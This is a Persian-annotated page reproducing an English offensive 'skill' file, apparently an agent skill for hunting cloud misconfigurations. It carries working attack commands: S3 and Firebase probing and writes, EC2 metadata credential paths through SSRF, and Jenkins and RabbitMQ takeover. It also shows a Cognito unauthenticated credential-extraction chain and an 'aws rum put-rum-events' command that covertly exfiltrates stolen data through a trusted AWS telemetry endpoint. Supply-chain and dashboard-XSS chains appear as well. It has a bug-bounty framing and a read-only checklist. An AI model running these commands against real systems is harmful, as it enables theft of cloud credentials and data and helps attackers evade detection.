hunt-cloud-misconfig

skillupstreamکلاس آسیب‌پذیریگزارش: ۶۱۳ کیلوبایت۴ بخش

شکار پیکربندی‌های غلط cloud / زیرساخت. AWS: باکت‌های S3 عمومی ‏(s3:GetObject ناشناس)، bucket policyهای آزاد ‏(PutObjectAcl نوشتن-عمومی)، origin مربوط به CloudFront افشاشده، function URL عمومی Lambda و موارد مشابه در GCP/Azure.

توضیح انگلیسی اصلی (مرجع)

Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services).

نقشه‌ی ساختار اسکیل

hunt-cloud-misconfigکلاس آسیب‌پذیری · ۴ بخش۱بخش تکمیلی۲زنجیره‌ها و ترکیب‌ها۳بخش تکمیلی۴دروازه‌ی اعتبارسنجی
بخش تکمیلی · ۲زنجیره‌ها و ترکیب‌ها · ۱دروازه‌ی اعتبارسنجی · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

بخش تکمیلی

16. CLOUD / INFRA MISCONFIGS
ترجمه‌ی کامل ✓بخش ۱ از ۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

S3 / GCS / Azure Blob
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write
متادیتای EC2 ‏(از طریق SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys
پنل‌های ادمین افشاشده
/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status

شکست محدودیت SSO در Jenkins ← RCE مربوط به Script Console

‏Jenkins افشاشده‌ای که هر اکانت شخصی Google/OAuth را احراز هویت می‌کند (نبود محدودیت org-domain) تصاحب کامل است: لاگین کن، بعد /script (کنسول Groovy) = RCE، و /credentials + /scriptText = توکن‌های API ذخیره‌شده و افشای سورس. افشاشده: reports/231460.

broker پیام افشاشده (RabbitMQ / AMQP) با cred پیش‌فرض

‏management مربوط به RabbitMQ را پروب کن (http://TARGET:15672/، API :15672/api/overview) و AMQP :5672؛ guest:guest پیش‌فرض را امتحان کن (وقتی loopback_users بدپیکربندی باشد خارج‌از-localhost کار می‌کند) ← خواندن صف/پیام، شمارش vhost، ادمین management-plugin. افشاشده: reports/753602.

۲

زنجیره‌ها و ترکیب‌ها

Local-verification toolchain
ترجمه‌ی کامل ✓بخش ۲ از ۴

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

‏برای تست یافته‌های cloud-misconfig در برابر شبیه‌ساز AWS محلی قبل‌از/به‌جای زدن cloud واقعی:

# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1

بدون آن env varها، aws s3 cp/sync با InvalidRequest شکست می‌خورد. برای تیم مستند کن. برای فلوی بازتولیدپذیر کامل docs/verification/phase2j-cloud-localstack.md را ببین.

۳

بخش تکمیلی

CloudWatch RUM Weaponization (2024-2026 surface)
ترجمه‌ی کامل ✓بخش ۳ از ۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏AWS CloudWatch RUM ‏(Real-User Monitoring) سرویس تله‌متری سمت‌کلاینت است که اواخر ۲۰۲۱ راه‌اندازی شد. مشتری‌ها snippet مربوط به JS را روی صفحاتشان embed می‌کنند که رویدادهای performance/خطا به dataplane.rum.<region>.amazonaws.com می‌فرستد. config مربوط به AppMonitor در snippet شامل identityPoolId ‏(Cognito) و guestRoleArn ‏(نقش IAM) است — هر دو به‌طراحی عمومی‌اند. policy مربوط به نقش IAM مرز امنیتی است، و وقتی توسعه‌دهندگان آن را پهن‌تر از حداقل مستندشده می‌گذارند (rum:PutRumEvents روی ARN مربوط به AppMonitor)، کل pool به ماشین فروش credential AWS بدون احراز هویت تبدیل می‌شود که در زنجیره‌ی cloud-iam-deep ← Cognito Identity Pool توصیف شده.

تشخیص — اثرانگشت‌های JS bundle

‏سبک Snippet (شایع‌ترین، embed در <head>):

(function(n,i,v,r,s,c,x,z){...})(
  'cwr',
  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)
  '1.0.0',
  'us-east-1',
  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
  {
    sessionSampleRate: 1,
    guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
    identityPoolId: "us-east-1:abcd1234-...",
    endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
    telemetries: ["errors","performance","http"]
  }
);

‏سبک NPM (پکیج aws-rum-web):

import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
مجموعه‌ی regex برای recon
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .

# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .

# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .

# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .

# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
زنجیره‌های حمله

‏زنجیره A — استخراج credential (Critical وقتی guestRole بیش‌ازحد امتیاز دارد). وقتی identityPoolId از صفحه استخراج شود، هر کسی می‌تواند...

aws cognito-identity get-id \
  --identity-pool-id "us-east-1:abcd1234-..." \
  --region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:<returned-uuid>" \
  --region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity        # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py

‏زنجیره‌ی کامل در cloud-iam-deep ← زنجیره‌ی unauthenticated مربوط به Cognito Identity Pool مستند است. RUM یک کانتکست embedding رایج است.

‏زنجیره B — بیرون‌کشیدن پنهان از endpoint تله‌متری. dataplane.rum.<region>.amazonaws.com یک دامنه‌ی مال-AWS روی هر allowlist سازمانی است. payload مربوط به PutRumEvents فیلدهای رشته‌ای userDetails و customEvents دلخواه قبول می‌کند:

aws rum put-rum-events \
  --id $(uuidgen) \
  --app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
  --user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
  --rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
  --endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
  --region us-east-1

‏مدافعانی که egress را نگاه می‌کنند ترافیک به hostname شناخته‌شده‌ی خوب AWS می‌بینند؛ DLP بدنه‌ی JSON را parse نمی‌کند؛ قواعد SIEM معمولاً تله‌متری RUM مشتری را ingest نمی‌کنند.

‏زنجیره C — تزریق DOM از طریق مسمومیت منبع snippet. خیلی مشتری‌ها یا cwr.js را روی CDN خودشان self-host می‌کنند (assets.target.com/cwr.js) یا aws-rum-web را bundle و از static.target.com/main.<hash>.js سرو می‌کنند. تسخیر ساب‌دامین روی هاست JS یا مصالحه‌ی supply-chain ‏(typosquat مربوط به npm علیه aws-rum-webb) اجرای JS ماندگار روی هر page-load با اعتماد SDK مربوط به aws-rum-web می‌دهد — شامل permissionهای Cognito که از قبل دارد.

‏زنجیره D — تزریق تله‌متری / مسمومیت داشبورد. با identityPoolId + applicationId عمومی، مهاجم خارجی می‌تواند PutRumEvents را با اسپایک‌های خطای جعلی سیل کند (هشدارهای واقعی را غرق کند)، payloadهای XSS را به تله‌متری page-URL تزریق کند که وقتی تحلیل‌گر SOC داشبورد CloudWatch را می‌بیند آتش می‌گیرد، و تعداد رویدادهای RUM قابل‌صورتحساب را باد کند (DoS مالی).

الگوی شدت
یافتهشدتتوجیه
guestRoleArn با *:* یا wildcard روی چند سرویسCritical ‏(9.1+)دسترسی کامل AWS ناشناس
guestRoleArn با s3:*، dynamodb:*، secretsmanager:*، lambda:Invoke* روی منابع productionHigh ‏(7.5-8.8)بیرون‌کشیدن داده / RCE بسته به منبع
guestRoleArn با cognito-identity:* یا iam:PassRoleHigh ‏(8.0)primitive مربوط به تشدید امتیاز
guestRoleArn فقط با rum:PutRumEvents + منبع endpoint-محدودInformationalپیکربندی مستندشده و درنظرگرفته‌شده
userDetails مربوط به RUM که PII را در رویدادهای قابل‌مشاهده در کنسول CloudWatch لاگ می‌کندMedium ‏(5.3-6.5)افشای داده‌ی حساس از طریق اشتراک‌گذاری داشبورد
AppMonitor مربوط به RUM که PutRumEvents از منابع اینترنتی دلخواه قبول می‌کند (تزریق تله‌متری)Low-Medium ‏(4.3)مسمومیت داشبورد، فرار از هشدار، تورم صورتحساب
مراجع
  • ‏AWS — مستندات Cognito Identity Pools
  • ‏HackTricks Cloud — aws-cognito-unauthenticated-enum — playbook مربوط به canonical. cloud.hacktricks.wiki
  • ‏Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" ‏(2024) — تله‌متری که نرخ‌های سوءاستفاده‌ی واقعی را نشان می‌دهد. securitylabs.datadoghq.com
  • ‏issueهای #213، #404 مربوط به aws-observability/aws-rum-web در GitHub — بحث جامعه درباره‌ی مدل امنیتی snippet باندل‌شده. github.com/aws-observability/aws-rum-web
چک‌لیست اعتبارسنجی (قبل از گزارش)
  1. ‏identityPoolId را از سورس صفحه استخراج کن.
  2. ‏تأیید کن pool هویت‌های unauth را قبول می‌کند (get-id بدون auth موفق می‌شود).
  3. ‏تأیید کن get-credentials-for-identity مقدار cred مربوط به STS برمی‌گرداند.
  4. ‏aws sts get-caller-identity را اجرا کن و از ARN نقش اسکرین‌شات بگیر.
  5. ‏enumerate-iam / iam__enum_permissions مربوط به Pacu را اجرا کن — حداقل یک اکشن مجاز فراتر از rum:PutRumEvents بگیر. بدون این، یافته Informational است.
  6. ‏حداقل یک read/list در برابر منبع واقعی نشان بده (لیست باکت S3، scan مربوط به DynamoDB، invoke مربوط به Lambda).
  7. ‏حتی اگر مجاز بود داده را تغییر/حذف نکن — فقط PoC فقط-خواندنی.
اسکیل‌های مرتبط:
۴

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۴ از ۴

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-subdomain — CNAMEهای کهنه که به باکت‌های حذف‌شده اشاره می‌کنند معدن طلای تسخیر هستند. primitive زنجیره: پیکربندی‌غلط cloud ‏(S3 عمومی/حذف‌شده) + hunt-subdomain ← CNAME تصاحب‌نشده به باکت اشاره می‌کند ← تسخیر assets.target.com.
  • ‏‏cloud-iam-deep — JSON مربوط به SA / کلید AWS لو‌رفته در باکت عمومی فقط نصف باگ است. primitive زنجیره: S3 عمومی + کلید AWS لو‌رفته در .env ← شمارش cloud-iam-deep ← تشدید iam:PassRole میان‌سرویسی.
  • ‏‏hunt-ssrf — سرویس متادیتا فقط از داخل VPC در دسترس است؛ SSRF پل است. primitive زنجیره: SSRF + پیکربندی‌غلط cloud (IMDSv1 هنوز فعال) ← کلیدهای نقش instance ← خواندن داده‌ی S3/RDS.
  • ‏‏supply-chain-attack-recon — endpointهای CI/CD و SBOMهای افشاشده نام‌های پکیج داخلی را لو می‌دهند. primitive زنجیره: Jenkins/GitLab افشاشده + نشت نام پکیج داخلی ← انتشار dependency-confusion روی npm/PyPI ← تصاحب build مربوط به CI.
  • ‏‏security-arsenal — wordlist مربوط به باکت Cloud را لود کن (جای‌گشت‌های target-prod / target-backup / target-staging) و...
مراحل استخراج‌شده
  1. ۱‏‏`hunt-subdomain` — CNAMEهای کهنه که به باکت‌های حذف‌شده اشاره می‌کنند معدن طلای تسخیر هستند. primitive زنجیره: پیکربندی‌غلط cloud ‏(S3 عمومی/حذف‌شده) + `hunt-subdomain` ← CNAME تصاحب‌نشده به باکت اشاره می‌کند ← تسخیر `assets.target.com`.
  2. ۲‏‏`cloud-iam-deep` — JSON مربوط به SA / کلید AWS لو‌رفته در باکت عمومی فقط نصف باگ است. primitive زنجیره: S3 عمومی + کلید AWS لو‌رفته در `.env` ← شمارش `cloud-iam-deep` ← تشدید `iam:PassRole` میان‌سرویسی.
  3. ۳‏‏`hunt-ssrf` — سرویس متادیتا فقط از داخل VPC در دسترس است؛ SSRF پل است. primitive زنجیره: SSRF + پیکربندی‌غلط cloud (IMDSv1 هنوز فعال) ← کلیدهای نقش instance ← خواندن داده‌ی S3/RDS.
  4. ۴‏‏`supply-chain-attack-recon` — endpointهای CI/CD و SBOMهای افشاشده نام‌های پکیج داخلی را لو می‌دهند. primitive زنجیره: Jenkins/GitLab افشاشده + نشت نام پکیج داخلی ← انتشار dependency-confusion روی npm/PyPI ← تصاحب build مربوط به CI.
  5. ۵‏‏`security-arsenal` — wordlist مربوط به باکت Cloud را لود کن (جای‌گشت‌های target-prod / target-backup / target-staging) و...